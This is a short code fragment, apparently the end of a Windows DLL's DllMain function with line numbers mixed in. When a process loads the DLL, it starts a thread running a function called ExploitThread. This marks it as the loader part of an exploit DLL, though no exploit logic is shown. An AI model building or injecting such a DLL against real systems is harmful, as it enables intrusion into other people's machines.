switch (ul_reason_for_call)
719
{
720
case DLL_PROCESS_ATTACH:
721
CreateThread(NULL, 0, ExploitThread, lpReserved, 0, NULL);
722
case DLL_THREAD_ATTACH:
723
case DLL_THREAD_DETACH:
724
case DLL_PROCESS_DETACH:
725
break;
726
}
727
return TRUE;
728
}
729
730